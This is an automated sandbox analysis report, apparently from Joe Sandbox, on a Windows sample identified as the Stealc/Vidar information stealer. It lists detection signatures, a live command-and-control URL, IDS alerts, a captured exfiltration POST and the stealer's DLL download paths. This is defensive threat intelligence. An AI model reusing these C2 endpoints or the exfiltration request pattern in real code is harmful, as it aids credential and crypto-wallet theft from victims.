Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1502366
MD5:	4847d6885adc7ea78fdf9918c384cecb
SHA1:	9eb0ce983f5a81300f18331b4899e03692fea6ef
SHA256:	2954dec8276af3d7c60154c2afb2ae360d696c6a90eb779fd9e380848c6fd8cc
Tags:	exe
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3492 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 4847D6885ADC7EA78FDF9918C384CECB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.100/e2b1563c6670f193.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1894523709.00000000011DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 3492	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3492	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3492	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3492	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T01:22:08.498416+0200
SID:	2803304
Severity:	3
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T01:22:02.669635+0200
SID:	2803304
Severity:	3
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 185.215.113.100 - Destination IP: 192.168.2.4

Timestamp:	2024-09-01T01:22:01.302788+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T01:22:09.651030+0200
SID:	2803304
Severity:	3
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T01:22:02.415127+0200
SID:	2044248
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T01:22:10.265481+0200
SID:	2803304
Severity:	3
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T01:22:00.884282+0200
SID:	2044244
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config - Source IP: 185.215.113.100 - Destination IP: 192.168.2.4

Timestamp:	2024-09-01T01:22:00.890370+0200
SID:	2044245
Severity:	1
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T01:22:12.422981+0200
SID:	2803304
Severity:	3
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T01:22:12.792377+0200
SID:	2803304
Severity:	3
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T01:22:00.634434+0200
SID:	2044243
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T01:22:01.296000+0200
SID:	2044246
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T01:22:10.804133+0200
SID:	2803304
Severity:	3
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGCHost: 185.215.113.100Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 34 31 35 39 36 42 30 31 34 33 46 33 32 33 35 31 31 34 31 39 39 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 2d 2d 0d 0a Data Ascii: ------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="hwid"741596B0143F3235114199------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="build"leva------BFHJECAAAFHIJKFIJEGC--

Source: file.exe, 00000000.00000002.1894523709.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100
Source: file.exe, 00000000.00000002.1894523709.0000000001238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/
Source: file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.1894523709.0000000001238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dllllb
Source: file.exe, 00000000.00000002.1894523709.0000000001238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.1894523709.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.1894523709.0000000001224000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.1894523709.0000000001224000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/vcruntime140.dllJJKFHJEBKFBGDAAE
Source: file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1894523709.0000000001224000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php)
Source: file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php:
Source: file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php=C
Source: file.exe, 00000000.00000002.1894523709.0000000001224000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpE
Source: file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpER
Source: file.exe, 00000000.00000002.1894523709.0000000001238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpFBFBAAKECFIEBFIEC
Source: file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpNT
Source: file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpPR
Source: file.exe, 00000000.00000002.1894523709.0000000001238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpRUNTIME140.dllDH
Source: file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpVB
Source: file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpWi
Source: file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpa
Source: file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpal
Source: file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpbnhcc
Source: file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpc=#
Source: file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpcal
Source: file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpettings
Source: file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpinR
Source: file.exe, 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpion:
Source: file.exe, 00000000.00000002.1894523709.0000000001238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpnfigOverlay
Source: file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phppmfplkfogfpmcngplhnbdnnie
Source: file.exe, 00000000.00000002.1894523709.0000000001238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/o
Source: file.exe, 00000000.00000002.1894523709.00000000011DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.1005
Source: file.exe, 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100e2b1563c6670f193.phpion:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1906245471.000000001D540000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1914227249.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: IDBAKKEC.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.1894523709.00000000012B4000.00000004.00000020.00020000.00000000.sdmp, BAAFBFBAAKECFIEBFIEC.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.1894523709.00000000012B4000.00000004.00000020.00020000.00000000.sdmp, BAAFBFBAAKECFIEBFIEC.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: IDBAKKEC.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: IDBAKKEC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: IDBAKKEC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1894523709.00000000012B4000.00000004.00000020.00020000.00000000.sdmp, BAAFBFBAAKECFIEBFIEC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.1894523709.00000000012B4000.00000004.00000020.00020000.00000000.sdmp, BAAFBFBAAKECFIEBFIEC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: IDBAKKEC.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: IDBAKKEC.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: IDBAKKEC.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BAAFBFBAAKECFIEBFIEC.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: AKJKFBAFIDAEBFHJKJEBFCBFHD.0.dr	String found in binary or memory: https://support.mozilla.org
Source: AKJKFBAFIDAEBFHJKJEBFCBFHD.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AKJKFBAFIDAEBFHJKJEBFCBFHD.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, file.exe, 00000000.00000003.1745630793.000000001D44C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: file.exe, 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: file.exe, 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: file.exe, 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: file.exe, 00000000.00000002.1894523709.00000000012B4000.00000004.00000020.00020000.00000000.sdmp, BAAFBFBAAKECFIEBFIEC.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: IDBAKKEC.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.1894523709.00000000012B4000.00000004.00000020.00020000.00000000.sdmp, BAAFBFBAAKECFIEBFIEC.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: IDBAKKEC.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
